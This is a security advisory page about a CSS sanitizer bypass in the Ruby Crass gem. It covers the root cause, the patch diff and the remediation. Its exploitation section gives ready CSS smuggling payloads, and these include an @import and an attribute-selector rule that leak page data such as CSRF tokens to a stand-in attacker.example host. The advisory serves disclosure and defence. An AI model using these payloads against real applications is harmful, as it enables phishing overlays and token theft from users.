CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-116695

CVE-2026-116695: CSS Sanitizer Bypass via Bad URL Tokenization Differential in Crass

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 29, 2026·11 min read·5 visits

Executive Summary (TL;DR)

Crass versions prior to 1.0.8 fail to terminate malformed URL tokens at a closing parenthesis following an escaped backslash (`\\)`). This creates a parser differential between server-side Ruby CSS sanitizers and client-side web browsers, allowing attackers to bypass CSS sanitization filters to perform UI redress, load external stylesheets, or exfiltrate sensitive page data via CSS selectors.

An interpretation conflict vulnerability (CWE-436) exists in the Ruby CSS parser library Crass prior to version 1.0.8. When consuming the remnants of a malformed URL token, the tokenizer erroneously checks the previously consumed character to determine if a valid escape sequence is present. Consequently, a closing parenthesis immediately following an escaped backslash sequence is treated as escaped by Crass, while spec-compliant web browsers treat the closing parenthesis as the end of the bad URL token. Downstream CSS sanitizers such as Sanitize, Loofah, and rails-html-sanitizer that rely on Crass to parse and reserialize untrusted CSS can be bypassed to inject arbitrary CSS declarations, style rules, and external @import directives.

Vulnerability Overview

Crass is a pure-Ruby CSS parser designed to implement the W3C CSS Syntax Module Level 3 specification. Within the Ruby ecosystem, Crass serves as the foundational CSS tokenization and abstract syntax tree (AST) generation engine for major HTML and CSS sanitization libraries, including Sanitize, Loofah, and rails-html-sanitizer. Web applications rely on these libraries to parse user-supplied HTML and inline or embedded CSS, strip unsafe properties or rules, and reserialize the safe AST back into the rendered document.

A parser differential classified under CWE-436 (Interpretation Conflict) exists in all versions of Crass prior to 1.0.8. The flaw resides in how Crass::Tokenizer processes the remnants of a malformed URL token (bad_url) as defined in Section 4.3.15 of the CSS Syntax Level 3 specification. Specifically, when encountering an escaped backslash sequence (\\) immediately followed by a closing parenthesis ()), Crass fails to recognize the parenthesis as the terminating delimiter of the bad_url token.

Instead of terminating the token, Crass continues consuming subsequent characters until it encounters a later unescaped closing parenthesis or reaches the end of the input stream. Modern browser rendering engines—including Blink, Gecko, and WebKit—strictly adhere to the W3C specification and terminate the bad_url token at the first closing parenthesis following \\. Everything following that parenthesis is therefore evaluated by the browser as active, top-level CSS.

When a sanitizer built on Crass processes a crafted CSS payload and reserializes the output without explicitly rejecting bad_url tokens, the swallowed declarations or rules pass through the filter uninspected. While this vulnerability does not permit direct JavaScript execution in modern browsers, it allows attackers to inject arbitrary CSS rules into sanitized contexts, leading to UI redress (clickjacking and phishing overlays), unauthorized external resource loading, and CSS-based data exfiltration.

Root Cause Analysis

According to the W3C CSS Syntax Module Level 3 specification (§4.3.15, "Consume the remnants of a bad url"), once a tokenizer transitions into the bad_url state due to invalid characters (such as unescaped quotes or whitespace within an unquoted url()), it must iteratively consume code points until the construct ends. The algorithm terminates when it encounters a U+0029 RIGHT PARENTHESIS ()) or EOF. If the input stream begins with a valid escape sequence (a backslash \ not followed by a newline), the tokenizer must consume the escaped code point so that an escaped closing parenthesis (\)) does not prematurely close the bad_url token.

In Crass::Tokenizer, the internal string scanner tracks the currently consumed character in @s.current and provides lookahead capability via @s.peek. Prior to version 1.0.8, the helper method valid_escape? could be called either with an explicit string argument or with no arguments. When invoked without arguments, valid_escape? inspected @s.current (the character consumed during the previous operation) combined with @s.peek (the next unconsumed character in the stream).

Within Crass::Tokenizer#consume_bad_url, the loop evaluated whether a valid escape was present at the beginning of each iteration using both forms of the check:

When the input stream inside a bad_url contained two consecutive backslashes followed by a closing parenthesis (\\)), the following sequence occurred:

  1. During the first iteration, the two backslashes were waiting in the unconsumed lookahead buffer. The elsif valid_escape?(@s.peek(2)) branch matched \\, consumed the first backslash as the escape prefix, and invoked consume_escaped to consume the second backslash. At the end of this step, @s.current held the second \ character.
  2. On the immediately following loop iteration, the next unconsumed character in the stream was ). The loop began by evaluating the primary if valid_escape? condition without arguments.
  3. Because @s.current retained the stale \ from the previous iteration and @s.peek returned ), the no-argument valid_escape? check concatenated them into \) and returned true.
  4. Crass then executed consume_escaped, consuming the closing parenthesis as part of an escape sequence rather than recognizing it as the bad_url delimiter.

Because the closing parenthesis was consumed as an escaped character, consume_bad_url remained active and absorbed all subsequent CSS declarations, selectors, or at-rules into the raw string value of the :bad_url token.

Code Analysis

The vulnerability was resolved in commit 689fc45c632fdf3803b2f4e844ffc9cca3b08f34 by removing the reliance on the implicit, stateful @s.current pointer across the tokenizer. In lib/crass/tokenizer.rb, the consume_bad_url method was modified to eliminate the initial no-argument call to valid_escape?.

# File: lib/crass/tokenizer.rb
@@ -277,9 +277,7 @@ def consume_bad_url
       text = String.new
 
       until @s.eos?
-        if valid_escape?
-          text << consume_escaped
-        elsif valid_escape?(@s.peek(2))
+        if valid_escape?(@s.peek(2))
           @s.consume
           text << consume_escaped
         else

By removing the if valid_escape? branch in consume_bad_url, the tokenizer now exclusively checks the next two unconsumed code points via @s.peek(2) before consuming the escape prefix and the escaped character. When \\) is processed under the patched logic, the first iteration consumes both backslashes via @s.peek(2). On the next iteration, @s.peek(2) inspects ) and the character following it; since this does not start with a backslash, valid_escape?(@s.peek(2)) returns false, and the else branch consumes ) and properly terminates the bad_url token.

In addition to fixing consume_bad_url, the maintainer refactored all other call sites in lib/crass/tokenizer.rb that previously used no-argument state checks (valid_escape?, start_number?, and consume_string) to pass their character inputs explicitly:

# File: lib/crass/tokenizer.rb
@@ -132,7 +132,7 @@ def consume
       when :+
-        if start_number?
+        if start_number?(char + @s.peek(2))
           @s.reconsume
           consume_numeric
         else
@@ -196,7 +196,7 @@ def consume
       when :'\\'
-        if valid_escape?
+        if valid_escape?(char + @s.peek)
           @s.reconsume
           consume_ident
         else
@@ -567,7 +565,7 @@ def consume_url
         when '\\'
-          if valid_escape?
+          if valid_escape?(char + @s.peek)
             value << consume_escaped
           else

> [!NOTE] > While the other call sites in consume, consume_name, and consume_url were not vulnerable because they executed immediately after @s.consume assigned char to @s.current, refactoring them to pass char + @s.peek explicitly eliminates the risk of future stale-state bugs in the tokenizer.

To verify fix completeness and guard against variant edge cases in bad_url handling, the patch added test/test_tokenizer_bad_url.rb, which tests all permutations of up to 5 characters from the alphabet ['a', '"', '(', ')', '\\', "\n"] against a direct reference implementation of the W3C CSS Syntax Level 3 §4.3.15 specification algorithm.

Exploitation

Exploiting CVE-2026-116695 requires an application to accept untrusted CSS input, sanitize it using a library powered by Crass (such as Sanitize, Loofah, or rails-html-sanitizer), and render the serialized output back into a web page viewed by a user. To trigger the parser differential, the attacker must force the tokenizer into the bad_url state by placing an unescaped quote or whitespace after the initial characters of a url(...) token, followed by \\) and the smuggled CSS payload.

Scenario 1: Inline Style Declaration Smuggling

When an application permits inline style attributes on HTML elements and sanitizes them using Loofah::HTML5::Scrub.scrub_css, rails-html-sanitizer's sanitize_css, or Sanitize::CSS.properties, only specific properties (such as color or width) may be allowlisted. An attacker can smuggle restricted properties like position: fixed or background: url(...) inside an allowlisted property:

color:[url(x"\\)]; position:fixed; top:0; left:0; width:100vw; height:100vh; z-index:9999; background:red; x:[)];

When Crass parses this declaration list, url(x" transitions the tokenizer into consume_bad_url because of the unescaped quote after x. Crass fails to stop at the first ) after \\ and consumes ]; position:fixed; ... x:[ as part of the :bad_url token inside the color property value, terminating only at the final ). If the sanitizer does not reject the entire property value due to the presence of a :bad_url token or bracket block, it re-emits the string. The browser terminates the invalid color declaration at the first )]; and applies position:fixed; top:0; ... as active inline styles.

Scenario 2: Smuggling via Permitted CSS Functions

If a sanitizer strips bare url() tokens or brackets at the top level of a property value, the attacker can wrap the malformed URL inside an allowlisted CSS function such as calc(), var(), or rgb():

width:calc(url(x"\\)); position:fixed; top:0; left:0; x:))

Crass sees a single width property whose value is a calc(...) function call containing a :bad_url token. When rendered in a browser, the first ) closes the bad_url, the second ) closes calc(), the semicolon terminates the width declaration, and position:fixed is parsed as a separate declaration.

Scenario 3: Stylesheet Rule and @import Injection

In applications that sanitize full <style> elements or stylesheets using Sanitize::CSS.stylesheet, an attacker can smuggle entire style rules or @import directives inside a selector or property:

a url(x"\\){} @import url(https://attacker.example/exfil.css); b){color:red}

Crass parses this input as a single style rule whose selector is a url(x"\\){} @import url(https://attacker.example/exfil.css); b) and whose declaration block is {color:red}. Because Crass does not see an @import at-rule node in the AST, Sanitize::CSS does not block it. When the browser parses the sanitized stylesheet, it drops the malformed rule a url(x"\\){} and executes @import url(https://attacker.example/exfil.css);.

Impact Assessment

CVE-2026-116695 is rated Medium severity with a CVSS v4.0 base score of 5.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N). The vulnerability does not impact the confidentiality, integrity, or availability of the server-side Ruby process itself (VC:N/VI:N/VA:N). Instead, the impact manifests entirely within the downstream client browser environment (SC:L/SI:L/SA:N) when another user views a page containing the unsanitized CSS (UI:P).

In modern browsers, arbitrary CSS injection does not directly lead to cross-site scripting (XSS), as legacy browser features such as IE's expression() or Mozilla's -moz-binding have been removed. However, bypassing CSS sanitization enables three primary attack classes against application users:

  1. UI Redress and Phishing Overlays (SI:L): By injecting position: fixed, z-index, and custom dimensions or pseudo-elements (::before / ::after), an attacker can overlay arbitrary visual elements over the entire viewport, hijack clicks (clickjacking), spoof login prompts, or obscure security warnings.
  2. CSS-Based Data Exfiltration (SC:L): If an attacker can inject full style rules (either via <style> tag sanitization bypass or @import loading an external stylesheet), they can construct attribute selector side-channel probes. For example, rules such as input[name="authenticity_token"][value^="a"] { background: url(https://attacker.example/leak?char=a); } trigger outbound HTTP requests when matching DOM elements exist, allowing extraction of CSRF tokens, session identifiers, or private user data embedded in HTML attributes.
  3. External Resource Loading and Tracking (SC:L): Injecting external url() references or @import rules forces victim browsers to make involuntary HTTP requests to attacker-controlled servers, leaking victim IP addresses, User-Agent headers, and Referer URLs.

Within the Ruby ecosystem, this vulnerability affects every version of crass from 0.0.1 through 1.0.7, directly impacting applications that sanitize user-supplied CSS through Sanitize (all versions through 7.0.0), Loofah (Loofah::HTML5::Scrub.scrub_css), and rails-html-sanitizer (sanitize_css and the Action View sanitize helper when style attributes are permitted).

Remediation

The primary remediation is to upgrade the crass gem to version 1.0.8 or later, which corrects Crass::Tokenizer#consume_bad_url so that it terminates bad_url tokens in accordance with the W3C CSS Syntax Level 3 specification.

Upgrading Crass

Update your application's Gemfile to require at least version 1.0.8 of crass and update the dependency lockfile:

gem 'crass', '>= 1.0.8'

Run Bundler to apply the update and verify the resolved version in Gemfile.lock:

bundle update crass
bundle info crass

Because crass is frequently pulled in as a transitive dependency of loofah, rails-html-sanitizer, or sanitize, running bundle update crass updates the transitive dependency without requiring major version upgrades of the parent sanitizer gems.

Workarounds and Defense-in-Depth

For environments where upgrading crass cannot be performed immediately, the following mitigations reduce exposure:

  1. Pre-Sanitization Input Filtering: Reject or strip any user-supplied CSS string containing an escaped backslash (\\) or a url( substring prior to passing the input to the sanitizer.
  2. Sanitizer AST Inspection: If using a custom Crass AST walker, explicitly reject any property declaration or rule whose token stream contains a :bad_url node.
  3. Content Security Policy (CSP): Deploy a strict Content-Security-Policy header that restricts style-src and limits img-src, font-src, and connect-src to trusted origins. Restricting external resource origins prevents CSS-based data exfiltration and blocks unauthorized @import stylesheet loads even if CSS sanitization is bypassed.

Official Patches

Ryan Grove (rgrove)Official patch commit fixing bad_url tokenization after an escaped backslash
Ryan Grove (rgrove)Crass v1.0.8 release tag
GitHub Security AdvisoryOfficial GitHub Security Advisory GHSA-pq4g-8rxf-4g29

Fix Analysis (1)

Technical Appendix

CVSS Score
5.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
EPSS Probability
0.35%
Top 71% most exploited

Affected Systems

crass Ruby Gem (< 1.0.8)Sanitize Ruby Gem (<= 7.0.0 when using Crass < 1.0.8)Loofah Ruby Gem (when using Crass < 1.0.8)rails-html-sanitizer Ruby Gem (when using Crass < 1.0.8)

Affected Versions Detail

Product
Affected Versions
Fixed Version
crass
Ryan Grove (rgrove)
>= 0.0.1, < 1.0.81.0.8
AttributeDetail
CVE / Advisory IDCVE-2026-116695 / GHSA-pq4g-8rxf-4g29
Vulnerability ClassCWE-436: Interpretation Conflict (Parser Differential)
Affected ComponentCrass::Tokenizer#consume_bad_url (crass < 1.0.8)
Attack VectorNetwork (Crafted CSS Payload in Untrusted Input)
CVSS v4.0 Score5.3 Medium (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N)
EPSS Score0.353% (28.90th Percentile)
Security ImpactCSS Sanitizer Bypass (UI Redress, External Resource Loading, CSS Data Exfiltration)
Patched Versioncrass 1.0.8

MITRE ATT&CK Mapping

T1562.001Impair Defenses: Disable or Evade Security Controls
Defense Evasion
T1566Phishing
Initial Access
T1041Exfiltration Over C2 Channel
Exfiltration
T1059Command and Scripting Interpreter
Execution
CWE-436
Interpretation Conflict

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.

Known Exploits & Detection

GitHubOfficial upstream regression test suite and reproduction payloads demonstrating bad_url token smuggling across properties and stylesheets.

Vulnerability Timeline

Maintainer established a dedicated vulnerability reporting policy in the Crass repository.
2026-08-29
Fix committed (689fc45c632fdf3803b2f4e844ffc9cca3b08f34) and Crass v1.0.8 released to RubyGems.
2026-10-21
CVE-2026-116695 and GitHub Security Advisory GHSA-pq4g-8rxf-4g29 published.
2026-10-27
GitHub Advisory Database record updated with downstream ecosystem impact details.
2026-10-28

References & Sources

  • [1]GitHub Security Advisory GHSA-pq4g-8rxf-4g29
  • [2]NVD - CVE-2026-116695 Detail
  • [3]CVE.org Record: CVE-2026-116695
  • [4]GitHub Commit: Fix bad URL token not terminating at ) after an escaped backslash
  • [5]Crass Release v1.0.8
  • [6]Ruby Advisory Database - GHSA-pq4g-8rxf-4g29
  • [7]W3C CSS Syntax Module Level 3: §4.3.15 Consume the remnants of a bad url

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-115923
6.5

CVE-2026-115923: Path Traversal and Catalog Rule Bypass in Backstage Catalog Backend

CVE-2026-115923 (GHSA-w658-mh9p-ww8f) is a path traversal and access control bypass vulnerability in Spotify's Backstage developer portal framework, specifically within the @backstage/plugin-catalog-backend package. Prior to patched versions, DefaultCatalogRulesEnforcer evaluated user-supplied URL catalog locations against configured catalog.rules patterns using raw, uncanonicalized strings. Because downstream URL readers canonicalize URLs and resolve dot segments before fetching resources, an authenticated attacker with location registration permissions can supply percent-encoded traversal sequences (such as %2e%2e) to bypass location restrictions and register untrusted catalog entities.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 2 hours ago•CVE-2026-116576
7.8

CVE-2026-116576: OS Command Injection via Unicode Quotation Marks in Node.js systeminformation

CVE-2026-116576 (GHSA-3f7j-7jwc-fxfj) is an OS Command Injection vulnerability (CWE-78) in the Node.js systeminformation library prior to version 5.33.16 on Microsoft Windows. The services() API function dynamically constructs a PowerShell Get-CimInstance command using caller-supplied service names passed through sanitizeShellString(). While the sanitizer strips standard ASCII quotation marks, it permits Unicode typographic quotation marks (U+2018 through U+201E). Because the Windows PowerShell tokenizer recognizes Unicode quotation marks as valid string literal delimiters, an attacker who controls the service name input can break out of the CIM filter string and execute arbitrary PowerShell commands within the security context of the Node.js process.

Alon Barad
Alon Barad
1 views•11 min read
•about 4 hours ago•CVE-2026-116577
5.3

CVE-2026-116577: Algorithmic Complexity Denial of Service in Tornado HTTP Header Parser

Tornado versions prior to 6.6.0 contain an inefficient algorithmic complexity vulnerability in the HTTP header parser. When processing requests with obsolete line folding (obs-fold), the HTTPHeaders.parse_line method repeatedly concatenates immutable Python strings within a list structure. An unauthenticated remote attacker can send an HTTP request containing thousands of short header continuation lines to trigger quadratic O(N^2) CPU consumption on the main IOLoop thread, starving concurrent connections and resulting in a denial of service.

Alon Barad
Alon Barad
7 views•10 min read
•about 5 hours ago•CVE-2026-116578
2.1

CVE-2026-116578: Open Redirect in Tornado RedirectHandler via URL Normalization and Template Substitution

Tornado versions prior to 6.6.0 contain an open redirect vulnerability (CWE-601) in tornado.web.RedirectHandler. When route templates incorporate regular expression capture groups at the start of a path, directly after a fixed host without a trailing slash, or at the beginning of a destination template, unvalidated URL-decoded parameters allow attackers to manipulate the redirect scheme or network location. Because modern browsers normalize URLs according to the WHATWG specification—treating backslashes as forward slashes and stripping control characters—attackers can bypass naive prefix checks and redirect victims to arbitrary external domains.

Alon Barad
Alon Barad
7 views•11 min read
•about 6 hours ago•CVE-2026-115927
5.3

CVE-2026-115927: Event Loop Blocking and Memory Amplification in Tornado Chunked Transfer Encoding Parser

Tornado versions prior to 6.6.0 contain an uncontrolled resource consumption vulnerability (CWE-400) in the HTTP/1.1 chunked transfer encoding parser. When processing incoming chunked payloads that have already buffered in the socket read buffer, Tornado parses chunks in a tight synchronous loop without yielding to the event loop. Furthermore, non-streaming request handlers and SimpleAsyncHTTPClient store each chunk as a discrete Python bytes object inside a list, inducing an approximately 20-fold memory overhead for 1-byte chunks.

Amit Schendel
Amit Schendel
5 views•11 min read
•about 7 hours ago•CVE-2026-117601
9.3

CVE-2026-117601: Improper Cryptographic Signature Verification in Electrum Bitcoin Wallet

A missing cryptographic signature verification vulnerability exists in Electrum Bitcoin Wallet versions prior to 4.8.3. In Electrum's Simplified Payment Verification (SPV) architecture, the client failed to validate input signatures on unconfirmed mempool transactions received from connected Electrum servers. A malicious Electrum server can exploit this flaw by intercepting a legitimate user broadcast, suppressing it, and returning a spoofed unconfirmed transaction with an invalid signature and zero fee that redirects the user's UTXOs to an attacker-controlled address. When the user initiates a Replace-By-Fee (RBF) action to accelerate the seemingly stuck transaction, Electrum signs the spoofed outputs with the user's private keys, resulting in the direct theft of funds.

Amit Schendel
Amit Schendel
9 views•10 min read